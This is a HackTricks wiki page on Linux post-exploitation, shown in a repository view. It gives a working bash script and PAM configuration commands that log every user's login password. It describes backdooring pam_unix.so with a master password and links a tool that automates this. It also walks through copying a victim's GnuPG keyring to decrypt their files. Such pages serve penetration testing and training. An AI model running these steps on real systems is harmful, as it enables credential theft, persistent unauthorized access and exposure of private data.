HackTricks News Bot 9f7faf12d7 Add content from: HTB Environment: Laravel env override (CVE‑2024‑52301) → LFM...
- Remove searchindex.js (auto-generated file)
2025-09-07 01:31:16 +00:00

86 lines
4.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Linux Post-Exploitation
{{#include ../../banners/hacktricks-training.md}}
## Sniffing Logon Passwords with PAM
Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:
**Technique Overview:**
Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.
**Capturing Credentials:**
- A bash script named `toomanysecrets.sh` is crafted to log login attempts, capturing the date, username (`$PAM_USER`), password (via stdin), and remote host IP (`$PAM_RHOST`) to `/var/log/toomanysecrets.log`.
- The script is made executable and integrated into the PAM configuration (`common-auth`) using the `pam_exec.so` module with options to run quietly and expose the authentication token to the script.
- The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. This is just a summary:
The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: **username**, **password**, and **service**. Configuration files for each service are located in the `/etc/pam.d/` directory, where shared libraries handle authentication.
**Objective**: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the `pam_unix.so` shared library used by the `common-auth` file, which is included by almost all services for password verification.
### Steps for Modifying `pam_unix.so`:
1. **Locate the Authentication Directive** in the `common-auth` file:
- The line responsible for checking a user's password calls `pam_unix.so`.
2. **Modify Source Code**:
- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
> [!TIP]
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Decrypting GPG loot via homedir relocation
If you find an encrypted `.gpg` file and a users `~/.gnupg` folder (pubring, private-keys, trustdb) but you cant decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
Typical errors youll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG cant read/write the original homedir).
Workflow:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
## References
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
{{#include ../../banners/hacktricks-training.md}}